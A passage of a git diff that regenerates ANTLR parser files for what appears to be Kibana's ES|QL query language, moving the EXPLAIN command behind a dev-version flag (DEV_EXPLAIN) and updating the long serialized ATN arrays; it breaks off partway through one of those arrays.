0,1631,1632,6,198,28,0,1632,413,1,0,0,0,1633,1634,3,16,0,0,1634,1635,1, + 0,0,0,1635,1636,6,199,0,0,1636,415,1,0,0,0,1637,1638,3,18,1,0,1638,1639, + 1,0,0,0,1639,1640,6,200,0,0,1640,417,1,0,0,0,1641,1642,3,20,2,0,1642,1643, + 1,0,0,0,1643,1644,6,201,0,0,1644,419,1,0,0,0,1645,1646,3,180,82,0,1646, + 1647,1,0,0,0,1647,1648,6,202,13,0,1648,1649,6,202,14,0,1649,421,1,0,0,0, + 1650,1651,3,298,141,0,1651,1652,1,0,0,0,1652,1653,6,203,15,0,1653,1654, + 6,203,14,0,1654,1655,6,203,14,0,1655,423,1,0,0,0,1656,1657,3,224,104,0, + 1657,1658,1,0,0,0,1658,1659,6,204,18,0,1659,425,1,0,0,0,1660,1661,3,248, + 116,0,1661,1662,1,0,0,0,1662,1663,6,205,29,0,1663,427,1,0,0,0,1664,1665, + 3,288,136,0,1665,1666,1,0,0,0,1666,1667,6,206,30,0,1667,429,1,0,0,0,1668, + 1669,3,284,134,0,1669,1670,1,0,0,0,1670,1671,6,207,31,0,1671,431,1,0,0, + 0,1672,1673,3,290,137,0,1673,1674,1,0,0,0,1674,1675,6,208,32,0,1675,433, + 1,0,0,0,1676,1677,3,304,144,0,1677,1678,1,0,0,0,1678,1679,6,209,20,0,1679, + 435,1,0,0,0,1680,1681,3,300,142,0,1681,1682,1,0,0,0,1682,1683,6,210,21, + 0,1683,437,1,0,0,0,1684,1685,3,16,0,0,1685,1686,1,0,0,0,1686,1687,6,211, + 0,0,1687,439,1,0,0,0,1688,1689,3,18,1,0,1689,1690,1,0,0,0,1690,1691,6,212, + 0,0,1691,441,1,0,0,0,1692,1693,3,20,2,0,1693,1694,1,0,0,0,1694,1695,6,213, + 0,0,1695,443,1,0,0,0,1696,1697,3,180,82,0,1697,1698,1,0,0,0,1698,1699,6, + 214,13,0,1699,1700,6,214,14,0,1700,445,1,0,0,0,1701,1702,3,298,141,0,1702, + 1703,1,0,0,0,1703,1704,6,215,15,0,1704,1705,6,215,14,0,1705,1706,6,215, + 14,0,1706,447,1,0,0,0,1707,1708,3,224,104,0,1708,1709,1,0,0,0,1709,1710, + 6,216,18,0,1710,449,1,0,0,0,1711,1712,3,220,102,0,1712,1713,1,0,0,0,1713, + 1714,6,217,19,0,1714,451,1,0,0,0,1715,1716,3,248,116,0,1716,1717,1,0,0, + 0,1717,1718,6,218,29,0,1718,453,1,0,0,0,1719,1720,3,288,136,0,1720,1721, + 1,0,0,0,1721,1722,6,219,30,0,1722,455,1,0,0,0,1723,1724,3,284,134,0,1724, + 1725,1,0,0,0,1725,1726,6,220,31,0,1726,457,1,0,0,0,1727,1728,3,290,137, + 0,1728,1729,1,0,0,0,1729,1730,6,221,32,0,1730,459,1,0,0,0,1731,1736,3,184, + 84,0,1732,1736,3,182,83,0,1733,1736,3,198,91,0,1734,1736,3,274,129,0,1735, + 1731,1,0,0,0,1735,1732,1,0,0,0,1735,1733,1,0,0,0,1735,1734,1,0,0,0,1736, + 461,1,0,0,0,1737,1740,3,184,84,0,1738,1740,3,274,129,0,1739,1737,1,0,0, + 0,1739,1738,1,0,0,0,1740,1744,1,0,0,0,1741,1743,3,460,222,0,1742,1741,1, + 0,0,0,1743,1746,1,0,0,0,1744,1742,1,0,0,0,1744,1745,1,0,0,0,1745,1757,1, + 0,0,0,1746,1744,1,0,0,0,1747,1750,3,198,91,0,1748,1750,3,192,88,0,1749, + 1747,1,0,0,0,1749,1748,1,0,0,0,1750,1752,1,0,0,0,1751,1753,3,460,222,0, + 1752,1751,1,0,0,0,1753,1754,1,0,0,0,1754,1752,1,0,0,0,1754,1755,1,0,0,0, + 1755,1757,1,0,0,0,1756,1739,1,0,0,0,1756,1749,1,0,0,0,1757,463,1,0,0,0, + 1758,1761,3,462,223,0,1759,1761,3,302,143,0,1760,1758,1,0,0,0,1760,1759, + 1,0,0,0,1761,1762,1,0,0,0,1762,1760,1,0,0,0,1762,1763,1,0,0,0,1763,465, + 1,0,0,0,1764,1765,3,16,0,0,1765,1766,1,0,0,0,1766,1767,6,225,0,0,1767,467, + 1,0,0,0,1768,1769,3,18,1,0,1769,1770,1,0,0,0,1770,1771,6,226,0,0,1771,469, + 1,0,0,0,1772,1773,3,20,2,0,1773,1774,1,0,0,0,1774,1775,6,227,0,0,1775,471, + 1,0,0,0,1776,1777,3,180,82,0,1777,1778,1,0,0,0,1778,1779,6,228,13,0,1779, + 1780,6,228,14,0,1780,473,1,0,0,0,1781,1782,3,298,141,0,1782,1783,1,0,0, + 0,1783,1784,6,229,15,0,1784,1785,6,229,14,0,1785,1786,6,229,14,0,1786,475, + 1,0,0,0,1787,1788,3,212,98,0,1788,1789,1,0,0,0,1789,1790,6,230,27,0,1790, + 477,1,0,0,0,1791,1792,3,220,102,0,1792,1793,1,0,0,0,1793,1794,6,231,19, + 0,1794,479,1,0,0,0,1795,1796,3,224,104,0,1796,1797,1,0,0,0,1797,1798,6, + 232,18,0,1798,481,1,0,0,0,1799,1800,3,248,116,0,1800,1801,1,0,0,0,1801, + 1802,6,233,29,0,1802,483,1,0,0,0,1803,1804,3,288,136,0,1804,1805,1,0,0, + 0,1805,1806,6,234,30,0,1806,485,1,0,0,0,1807,1808,3,284,134,0,1808,1809, + 1,0,0,0,1809,1810,6,235,31,0,1810,487,1,0,0,0,1811,1812,3,290,137,0,1812, + 1813,1,0,0,0,1813,1814,6,236,32,0,1814,489,1,0,0,0,1815,1816,7,4,0,0,1816, + 1817,7,17,0,0,1817,491,1,0,0,0,1818,1819,3,464,224,0,1819,1820,1,0,0,0, + 1820,1821,6,238,28,0,1821,493,1,0,0,0,1822,1823,3,16,0,0,1823,1824,1,0, + 0,0,1824,1825,6,239,0,0,1825,495,1,0,0,0,1826,1827,3,18,1,0,1827,1828,1, + 0,0,0,1828,1829,6,240,0,0,1829,497,1,0,0,0,1830,1831,3,20,2,0,1831,1832, + 1,0,0,0,1832,1833,6,241,0,0,1833,499,1,0,0,0,1834,1835,3,180,82,0,1835, + 1836,1,0,0,0,1836,1837,6,242,13,0,1837,1838,6,242,14,0,1838,501,1,0,0,0, + 1839,1840,7,10,0,0,1840,1841,7,5,0,0,1841,1842,7,21,0,0,1842,1843,7,9,0, + 0,1843,503,1,0,0,0,1844,1845,3,16,0,0,1845,1846,1,0,0,0,1846,1847,6,244, + 0,0,1847,505,1,0,0,0,1848,1849,3,18,1,0,1849,1850,1,0,0,0,1850,1851,6,245, + 0,0,1851,507,1,0,0,0,1852,1853,3,20,2,0,1853,1854,1,0,0,0,1854,1855,6,246, + 0,0,1855,509,1,0,0,0,70,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,516,520,523, + 532,534,545,822,904,908,913,1010,1012,1063,1068,1077,1084,1089,1091,1102, + 1110,1113,1115,1120,1125,1131,1138,1143,1149,1152,1160,1164,1303,1308,1315, + 1317,1322,1327,1334,1336,1362,1367,1372,1374,1380,1444,1449,1735,1739,1744, + 1749,1754,1756,1760,1762,42,0,1,0,5,1,0,5,2,0,5,5,0,5,6,0,5,7,0,5,8,0,5, 9,0,5,10,0,5,12,0,5,13,0,5,14,0,5,15,0,7,52,0,4,0,0,7,100,0,7,74,0,7,132, 0,7,64,0,7,62,0,7,102,0,7,101,0,7,97,0,5,4,0,5,3,0,7,79,0,7,38,0,7,58,0, - 7,128,0,7,76,0,7,95,0,7,94,0,7,96,0,7,98,0,7,61,0,5,0,0,7,16,0,7,60,0,7, - 107,0,7,53,0,7,99,0,5,11,0]; + 7,128,0,7,76,0,7,95,0,7,94,0,7,96,0,7,98,0,7,61,0,7,99,0,5,0,0,7,16,0,7, + 60,0,7,107,0,7,53,0,5,11,0]; private static __ATN: ATN; public static get _ATN(): ATN { diff --git a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.g4 b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.g4 index fa40487a2e920..1e500b84e0500 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.g4 +++ b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.g4 @@ -35,12 +35,12 @@ query ; sourceCommand - : explainCommand - | fromCommand + : fromCommand | rowCommand | showCommand // in development | {this.isDevVersion()}? timeSeriesCommand + | {this.isDevVersion()}? explainCommand ; processingCommand @@ -241,11 +241,11 @@ commandOption ; explainCommand - : EXPLAIN subqueryExpression + : DEV_EXPLAIN subqueryExpression ; subqueryExpression - : OPENING_BRACKET query CLOSING_BRACKET + : LP query RP ; showCommand diff --git a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.interp b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.interp index 167b5dd3612e0..3b180084e28ad 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.interp +++ b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.interp @@ -5,7 +5,7 @@ null null 'change_point' 'enrich' -'explain' +null 'completion' 'dissect' 'eval' @@ -147,7 +147,7 @@ MULTILINE_COMMENT WS CHANGE_POINT ENRICH -EXPLAIN +DEV_EXPLAIN COMPLETION DISSECT EVAL @@ -372,4 +372,4 @@ joinPredicate atn: -[4, 1, 139, 810, 2, 0, 7, 0, 2, 1, 7, 1, 2, 2, 7, 2, 2, 3, 7, 3, 2, 4, 7, 4, 2, 5, 7, 5, 2, 6, 7, 6, 2, 7, 7, 7, 2, 8, 7, 8, 2, 9, 7, 9, 2, 10, 7, 10, 2, 11, 7, 11, 2, 12, 7, 12, 2, 13, 7, 13, 2, 14, 7, 14, 2, 15, 7, 15, 2, 16, 7, 16, 2, 17, 7, 17, 2, 18, 7, 18, 2, 19, 7, 19, 2, 20, 7, 20, 2, 21, 7, 21, 2, 22, 7, 22, 2, 23, 7, 23, 2, 24, 7, 24, 2, 25, 7, 25, 2, 26, 7, 26, 2, 27, 7, 27, 2, 28, 7, 28, 2, 29, 7, 29, 2, 30, 7, 30, 2, 31, 7, 31, 2, 32, 7, 32, 2, 33, 7, 33, 2, 34, 7, 34, 2, 35, 7, 35, 2, 36, 7, 36, 2, 37, 7, 37, 2, 38, 7, 38, 2, 39, 7, 39, 2, 40, 7, 40, 2, 41, 7, 41, 2, 42, 7, 42, 2, 43, 7, 43, 2, 44, 7, 44, 2, 45, 7, 45, 2, 46, 7, 46, 2, 47, 7, 47, 2, 48, 7, 48, 2, 49, 7, 49, 2, 50, 7, 50, 2, 51, 7, 51, 2, 52, 7, 52, 2, 53, 7, 53, 2, 54, 7, 54, 2, 55, 7, 55, 2, 56, 7, 56, 2, 57, 7, 57, 2, 58, 7, 58, 2, 59, 7, 59, 2, 60, 7, 60, 2, 61, 7, 61, 2, 62, 7, 62, 2, 63, 7, 63, 2, 64, 7, 64, 2, 65, 7, 65, 2, 66, 7, 66, 2, 67, 7, 67, 2, 68, 7, 68, 2, 69, 7, 69, 2, 70, 7, 70, 2, 71, 7, 71, 2, 72, 7, 72, 2, 73, 7, 73, 2, 74, 7, 74, 2, 75, 7, 75, 2, 76, 7, 76, 2, 77, 7, 77, 2, 78, 7, 78, 2, 79, 7, 79, 2, 80, 7, 80, 2, 81, 7, 81, 2, 82, 7, 82, 2, 83, 7, 83, 2, 84, 7, 84, 2, 85, 7, 85, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 5, 1, 182, 8, 1, 10, 1, 12, 1, 185, 9, 1, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 3, 2, 193, 8, 2, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 1, 3, 3, 3, 222, 8, 3, 1, 4, 1, 4, 1, 4, 1, 5, 1, 5, 1, 6, 1, 6, 1, 6, 1, 7, 1, 7, 1, 7, 5, 7, 235, 8, 7, 10, 7, 12, 7, 238, 9, 7, 1, 8, 1, 8, 1, 8, 3, 8, 243, 8, 8, 1, 8, 1, 8, 1, 9, 1, 9, 1, 9, 5, 9, 250, 8, 9, 10, 9, 12, 9, 253, 9, 9, 1, 10, 1, 10, 1, 10, 3, 10, 258, 8, 10, 1, 11, 1, 11, 1, 11, 1, 12, 1, 12, 1, 12, 1, 13, 1, 13, 1, 13, 5, 13, 269, 8, 13, 10, 13, 12, 13, 272, 9, 13, 1, 13, 3, 13, 275, 8, 13, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 3, 14, 286, 8, 14, 1, 15, 1, 15, 1, 16, 1, 16, 1, 17, 1, 17, 1, 18, 1, 18, 1, 19, 1, 19, 1, 19, 1, 19, 5, 19, 300, 8, 19, 10, 19, 12, 19, 303, 9, 19, 1, 20, 1, 20, 1, 20, 1, 21, 1, 21, 3, 21, 310, 8, 21, 1, 21, 1, 21, 3, 21, 314, 8, 21, 1, 22, 1, 22, 1, 22, 5, 22, 319, 8, 22, 10, 22, 12, 22, 322, 9, 22, 1, 23, 1, 23, 1, 23, 3, 23, 327, 8, 23, 1, 24, 1, 24, 1, 24, 5, 24, 332, 8, 24, 10, 24, 12, 24, 335, 9, 24, 1, 25, 1, 25, 1, 25, 5, 25, 340, 8, 25, 10, 25, 12, 25, 343, 9, 25, 1, 26, 1, 26, 1, 26, 5, 26, 348, 8, 26, 10, 26, 12, 26, 351, 9, 26, 1, 27, 1, 27, 1, 28, 1, 28, 1, 28, 3, 28, 358, 8, 28, 1, 29, 1, 29, 3, 29, 362, 8, 29, 1, 30, 1, 30, 3, 30, 366, 8, 30, 1, 31, 1, 31, 1, 31, 3, 31, 371, 8, 31, 1, 32, 1, 32, 1, 32, 1, 33, 1, 33, 1, 33, 1, 33, 5, 33, 380, 8, 33, 10, 33, 12, 33, 383, 9, 33, 1, 34, 1, 34, 3, 34, 387, 8, 34, 1, 34, 1, 34, 3, 34, 391, 8, 34, 1, 35, 1, 35, 1, 35, 1, 36, 1, 36, 1, 36, 1, 37, 1, 37, 1, 37, 1, 37, 5, 37, 403, 8, 37, 10, 37, 12, 37, 406, 9, 37, 1, 38, 1, 38, 1, 38, 1, 38, 1, 38, 1, 38, 1, 38, 1, 38, 3, 38, 416, 8, 38, 1, 39, 1, 39, 1, 39, 1, 39, 3, 39, 422, 8, 39, 1, 40, 1, 40, 1, 40, 1, 40, 1, 41, 1, 41, 1, 41, 1, 42, 1, 42, 1, 42, 5, 42, 434, 8, 42, 10, 42, 12, 42, 437, 9, 42, 1, 43, 1, 43, 1, 43, 1, 43, 1, 44, 1, 44, 1, 44, 1, 45, 1, 45, 1, 45, 1, 45, 1, 46, 1, 46, 1, 46, 1, 47, 1, 47, 1, 47, 1, 47, 3, 47, 457, 8, 47, 1, 47, 1, 47, 1, 47, 1, 47, 5, 47, 463, 8, 47, 10, 47, 12, 47, 466, 9, 47, 3, 47, 468, 8, 47, 1, 48, 1, 48, 1, 48, 3, 48, 473, 8, 48, 1, 48, 1, 48, 1, 49, 1, 49, 1, 49, 1, 50, 1, 50, 1, 50, 1, 50, 1, 50, 1, 51, 1, 51, 1, 51, 1, 51, 3, 51, 489, 8, 51, 1, 52, 1, 52, 1, 52, 1, 52, 3, 52, 495, 8, 52, 1, 52, 1, 52, 1, 52, 1, 52, 1, 52, 3, 52, 502, 8, 52, 1, 53, 1, 53, 1, 53, 1, 54, 1, 54, 1, 54, 1, 55, 4, 55, 511, 8, 55, 11, 55, 12, 55, 512, 1, 56, 1, 56, 1, 56, 1, 56, 1, 57, 1, 57, 1, 57, 1, 57, 1, 57, 1, 57, 5, 57, 525, 8, 57, 10, 57, 12, 57, 528, 9, 57, 1, 58, 1, 58, 1, 59, 1, 59, 1, 60, 1, 60, 1, 60, 5, 60, 537, 8, 60, 10, 60, 12, 60, 540, 9, 60, 1, 61, 1, 61, 1, 61, 1, 61, 1, 62, 1, 62, 3, 62, 548, 8, 62, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 1, 63, 3, 63, 556, 8, 63, 1, 64, 1, 64, 1, 64, 1, 64, 3, 64, 562, 8, 64, 1, 64, 1, 64, 1, 64, 1, 64, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 3, 65, 575, 8, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 5, 65, 582, 8, 65, 10, 65, 12, 65, 585, 9, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 3, 65, 592, 8, 65, 1, 65, 1, 65, 1, 65, 3, 65, 597, 8, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 1, 65, 5, 65, 605, 8, 65, 10, 65, 12, 65, 608, 9, 65, 1, 66, 1, 66, 3, 66, 612, 8, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 3, 66, 619, 8, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 3, 66, 626, 8, 66, 1, 66, 1, 66, 1, 66, 1, 66, 1, 66, 5, 66, 633, 8, 66, 10, 66, 12, 66, 636, 9, 66, 1, 66, 1, 66, 3, 66, 640, 8, 66, 1, 67, 1, 67, 1, 67, 3, 67, 645, 8, 67, 1, 67, 1, 67, 1, 67, 1, 68, 1, 68, 1, 68, 1, 68, 1, 68, 3, 68, 655, 8, 68, 1, 69, 1, 69, 1, 69, 1, 69, 3, 69, 661, 8, 69, 1, 69, 1, 69, 1, 69, 1, 69, 1, 69, 1, 69, 5, 69, 669, 8, 69, 10, 69, 12, 69, 672, 9, 69, 1, 70, 1, 70, 1, 70, 1, 70, 1, 70, 1, 70, 1, 70, 1, 70, 3, 70, 682, 8, 70, 1, 70, 1, 70, 1, 70, 5, 70, 687, 8, 70, 10, 70, 12, 70, 690, 9, 70, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 5, 71, 698, 8, 71, 10, 71, 12, 71, 701, 9, 71, 1, 71, 1, 71, 3, 71, 705, 8, 71, 3, 71, 707, 8, 71, 1, 71, 1, 71, 1, 72, 1, 72, 1, 73, 1, 73, 1, 73, 1, 73, 5, 73, 717, 8, 73, 10, 73, 12, 73, 720, 9, 73, 1, 73, 1, 73, 1, 74, 1, 74, 1, 74, 1, 74, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 5, 75, 741, 8, 75, 10, 75, 12, 75, 744, 9, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 5, 75, 752, 8, 75, 10, 75, 12, 75, 755, 9, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 5, 75, 763, 8, 75, 10, 75, 12, 75, 766, 9, 75, 1, 75, 1, 75, 3, 75, 770, 8, 75, 1, 76, 1, 76, 1, 77, 1, 77, 3, 77, 776, 8, 77, 1, 78, 3, 78, 779, 8, 78, 1, 78, 1, 78, 1, 79, 3, 79, 784, 8, 79, 1, 79, 1, 79, 1, 80, 1, 80, 1, 81, 1, 81, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 83, 1, 83, 1, 84, 1, 84, 1, 84, 1, 84, 5, 84, 803, 8, 84, 10, 84, 12, 84, 806, 9, 84, 1, 85, 1, 85, 1, 85, 0, 5, 2, 114, 130, 138, 140, 86, 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 46, 48, 50, 52, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 84, 86, 88, 90, 92, 94, 96, 98, 100, 102, 104, 106, 108, 110, 112, 114, 116, 118, 120, 122, 124, 126, 128, 130, 132, 134, 136, 138, 140, 142, 144, 146, 148, 150, 152, 154, 156, 158, 160, 162, 164, 166, 168, 170, 0, 9, 2, 0, 53, 53, 107, 107, 1, 0, 101, 102, 2, 0, 57, 57, 63, 63, 2, 0, 66, 66, 69, 69, 1, 0, 87, 88, 1, 0, 89, 91, 2, 0, 65, 65, 78, 78, 2, 0, 80, 80, 82, 86, 2, 0, 22, 22, 24, 25, 837, 0, 172, 1, 0, 0, 0, 2, 175, 1, 0, 0, 0, 4, 192, 1, 0, 0, 0, 6, 221, 1, 0, 0, 0, 8, 223, 1, 0, 0, 0, 10, 226, 1, 0, 0, 0, 12, 228, 1, 0, 0, 0, 14, 231, 1, 0, 0, 0, 16, 242, 1, 0, 0, 0, 18, 246, 1, 0, 0, 0, 20, 254, 1, 0, 0, 0, 22, 259, 1, 0, 0, 0, 24, 262, 1, 0, 0, 0, 26, 265, 1, 0, 0, 0, 28, 285, 1, 0, 0, 0, 30, 287, 1, 0, 0, 0, 32, 289, 1, 0, 0, 0, 34, 291, 1, 0, 0, 0, 36, 293, 1, 0, 0, 0, 38, 295, 1, 0, 0, 0, 40, 304, 1, 0, 0, 0, 42, 307, 1, 0, 0, 0, 44, 315, 1, 0, 0, 0, 46, 323, 1, 0, 0, 0, 48, 328, 1, 0, 0, 0, 50, 336, 1, 0, 0, 0, 52, 344, 1, 0, 0, 0, 54, 352, 1, 0, 0, 0, 56, 357, 1, 0, 0, 0, 58, 361, 1, 0, 0, 0, 60, 365, 1, 0, 0, 0, 62, 370, 1, 0, 0, 0, 64, 372, 1, 0, 0, 0, 66, 375, 1, 0, 0, 0, 68, 384, 1, 0, 0, 0, 70, 392, 1, 0, 0, 0, 72, 395, 1, 0, 0, 0, 74, 398, 1, 0, 0, 0, 76, 415, 1, 0, 0, 0, 78, 417, 1, 0, 0, 0, 80, 423, 1, 0, 0, 0, 82, 427, 1, 0, 0, 0, 84, 430, 1, 0, 0, 0, 86, 438, 1, 0, 0, 0, 88, 442, 1, 0, 0, 0, 90, 445, 1, 0, 0, 0, 92, 449, 1, 0, 0, 0, 94, 452, 1, 0, 0, 0, 96, 472, 1, 0, 0, 0, 98, 476, 1, 0, 0, 0, 100, 479, 1, 0, 0, 0, 102, 484, 1, 0, 0, 0, 104, 490, 1, 0, 0, 0, 106, 503, 1, 0, 0, 0, 108, 506, 1, 0, 0, 0, 110, 510, 1, 0, 0, 0, 112, 514, 1, 0, 0, 0, 114, 518, 1, 0, 0, 0, 116, 529, 1, 0, 0, 0, 118, 531, 1, 0, 0, 0, 120, 533, 1, 0, 0, 0, 122, 541, 1, 0, 0, 0, 124, 547, 1, 0, 0, 0, 126, 549, 1, 0, 0, 0, 128, 557, 1, 0, 0, 0, 130, 596, 1, 0, 0, 0, 132, 639, 1, 0, 0, 0, 134, 641, 1, 0, 0, 0, 136, 654, 1, 0, 0, 0, 138, 660, 1, 0, 0, 0, 140, 681, 1, 0, 0, 0, 142, 691, 1, 0, 0, 0, 144, 710, 1, 0, 0, 0, 146, 712, 1, 0, 0, 0, 148, 723, 1, 0, 0, 0, 150, 769, 1, 0, 0, 0, 152, 771, 1, 0, 0, 0, 154, 775, 1, 0, 0, 0, 156, 778, 1, 0, 0, 0, 158, 783, 1, 0, 0, 0, 160, 787, 1, 0, 0, 0, 162, 789, 1, 0, 0, 0, 164, 791, 1, 0, 0, 0, 166, 796, 1, 0, 0, 0, 168, 798, 1, 0, 0, 0, 170, 807, 1, 0, 0, 0, 172, 173, 3, 2, 1, 0, 173, 174, 5, 0, 0, 1, 174, 1, 1, 0, 0, 0, 175, 176, 6, 1, -1, 0, 176, 177, 3, 4, 2, 0, 177, 183, 1, 0, 0, 0, 178, 179, 10, 1, 0, 0, 179, 180, 5, 52, 0, 0, 180, 182, 3, 6, 3, 0, 181, 178, 1, 0, 0, 0, 182, 185, 1, 0, 0, 0, 183, 181, 1, 0, 0, 0, 183, 184, 1, 0, 0, 0, 184, 3, 1, 0, 0, 0, 185, 183, 1, 0, 0, 0, 186, 193, 3, 88, 44, 0, 187, 193, 3, 22, 11, 0, 188, 193, 3, 12, 6, 0, 189, 193, 3, 92, 46, 0, 190, 191, 4, 2, 1, 0, 191, 193, 3, 24, 12, 0, 192, 186, 1, 0, 0, 0, 192, 187, 1, 0, 0, 0, 192, 188, 1, 0, 0, 0, 192, 189, 1, 0, 0, 0, 192, 190, 1, 0, 0, 0, 193, 5, 1, 0, 0, 0, 194, 222, 3, 40, 20, 0, 195, 222, 3, 8, 4, 0, 196, 222, 3, 70, 35, 0, 197, 222, 3, 64, 32, 0, 198, 222, 3, 42, 21, 0, 199, 222, 3, 66, 33, 0, 200, 222, 3, 72, 36, 0, 201, 222, 3, 74, 37, 0, 202, 222, 3, 78, 39, 0, 203, 222, 3, 80, 40, 0, 204, 222, 3, 94, 47, 0, 205, 222, 3, 82, 41, 0, 206, 222, 3, 164, 82, 0, 207, 222, 3, 104, 52, 0, 208, 222, 3, 128, 64, 0, 209, 222, 3, 98, 49, 0, 210, 222, 3, 108, 54, 0, 211, 212, 4, 3, 2, 0, 212, 222, 3, 102, 51, 0, 213, 214, 4, 3, 3, 0, 214, 222, 3, 100, 50, 0, 215, 216, 4, 3, 4, 0, 216, 222, 3, 106, 53, 0, 217, 218, 4, 3, 5, 0, 218, 222, 3, 126, 63, 0, 219, 220, 4, 3, 6, 0, 220, 222, 3, 118, 59, 0, 221, 194, 1, 0, 0, 0, 221, 195, 1, 0, 0, 0, 221, 196, 1, 0, 0, 0, 221, 197, 1, 0, 0, 0, 221, 198, 1, 0, 0, 0, 221, 199, 1, 0, 0, 0, 221, 200, 1, 0, 0, 0, 221, 201, 1, 0, 0, 0, 221, 202, 1, 0, 0, 0, 221, 203, 1, 0, 0, 0, 221, 204, 1, 0, 0, 0, 221, 205, 1, 0, 0, 0, 221, 206, 1, 0, 0, 0, 221, 207, 1, 0, 0, 0, 221, 208, 1, 0, 0, 0, 221, 209, 1, 0, 0, 0, 221, 210, 1, 0, 0, 0, 221, 211, 1, 0, 0, 0, 221, 213, 1, 0, 0, 0, 221, 215, 1, 0, 0, 0, 221, 217, 1, 0, 0, 0, 221, 219, 1, 0, 0, 0, 222, 7, 1, 0, 0, 0, 223, 224, 5, 16, 0, 0, 224, 225, 3, 130, 65, 0, 225, 9, 1, 0, 0, 0, 226, 227, 3, 54, 27, 0, 227, 11, 1, 0, 0, 0, 228, 229, 5, 12, 0, 0, 229, 230, 3, 14, 7, 0, 230, 13, 1, 0, 0, 0, 231, 236, 3, 16, 8, 0, 232, 233, 5, 62, 0, 0, 233, 235, 3, 16, 8, 0, 234, 232, 1, 0, 0, 0, 235, 238, 1, 0, 0, 0, 236, 234, 1, 0, 0, 0, 236, 237, 1, 0, 0, 0, 237, 15, 1, 0, 0, 0, 238, 236, 1, 0, 0, 0, 239, 240, 3, 48, 24, 0, 240, 241, 5, 58, 0, 0, 241, 243, 1, 0, 0, 0, 242, 239, 1, 0, 0, 0, 242, 243, 1, 0, 0, 0, 243, 244, 1, 0, 0, 0, 244, 245, 3, 130, 65, 0, 245, 17, 1, 0, 0, 0, 246, 251, 3, 20, 10, 0, 247, 248, 5, 62, 0, 0, 248, 250, 3, 20, 10, 0, 249, 247, 1, 0, 0, 0, 250, 253, 1, 0, 0, 0, 251, 249, 1, 0, 0, 0, 251, 252, 1, 0, 0, 0, 252, 19, 1, 0, 0, 0, 253, 251, 1, 0, 0, 0, 254, 257, 3, 48, 24, 0, 255, 256, 5, 58, 0, 0, 256, 258, 3, 130, 65, 0, 257, 255, 1, 0, 0, 0, 257, 258, 1, 0, 0, 0, 258, 21, 1, 0, 0, 0, 259, 260, 5, 19, 0, 0, 260, 261, 3, 26, 13, 0, 261, 23, 1, 0, 0, 0, 262, 263, 5, 20, 0, 0, 263, 264, 3, 26, 13, 0, 264, 25, 1, 0, 0, 0, 265, 270, 3, 28, 14, 0, 266, 267, 5, 62, 0, 0, 267, 269, 3, 28, 14, 0, 268, 266, 1, 0, 0, 0, 269, 272, 1, 0, 0, 0, 270, 268, 1, 0, 0, 0, 270, 271, 1, 0, 0, 0, 271, 274, 1, 0, 0, 0, 272, 270, 1, 0, 0, 0, 273, 275, 3, 38, 19, 0, 274, 273, 1, 0, 0, 0, 274, 275, 1, 0, 0, 0, 275, 27, 1, 0, 0, 0, 276, 277, 3, 30, 15, 0, 277, 278, 5, 61, 0, 0, 278, 279, 3, 34, 17, 0, 279, 286, 1, 0, 0, 0, 280, 281, 3, 34, 17, 0, 281, 282, 5, 60, 0, 0, 282, 283, 3, 32, 16, 0, 283, 286, 1, 0, 0, 0, 284, 286, 3, 36, 18, 0, 285, 276, 1, 0, 0, 0, 285, 280, 1, 0, 0, 0, 285, 284, 1, 0, 0, 0, 286, 29, 1, 0, 0, 0, 287, 288, 5, 107, 0, 0, 288, 31, 1, 0, 0, 0, 289, 290, 5, 107, 0, 0, 290, 33, 1, 0, 0, 0, 291, 292, 5, 107, 0, 0, 292, 35, 1, 0, 0, 0, 293, 294, 7, 0, 0, 0, 294, 37, 1, 0, 0, 0, 295, 296, 5, 106, 0, 0, 296, 301, 5, 107, 0, 0, 297, 298, 5, 62, 0, 0, 298, 300, 5, 107, 0, 0, 299, 297, 1, 0, 0, 0, 300, 303, 1, 0, 0, 0, 301, 299, 1, 0, 0, 0, 301, 302, 1, 0, 0, 0, 302, 39, 1, 0, 0, 0, 303, 301, 1, 0, 0, 0, 304, 305, 5, 9, 0, 0, 305, 306, 3, 14, 7, 0, 306, 41, 1, 0, 0, 0, 307, 309, 5, 15, 0, 0, 308, 310, 3, 44, 22, 0, 309, 308, 1, 0, 0, 0, 309, 310, 1, 0, 0, 0, 310, 313, 1, 0, 0, 0, 311, 312, 5, 59, 0, 0, 312, 314, 3, 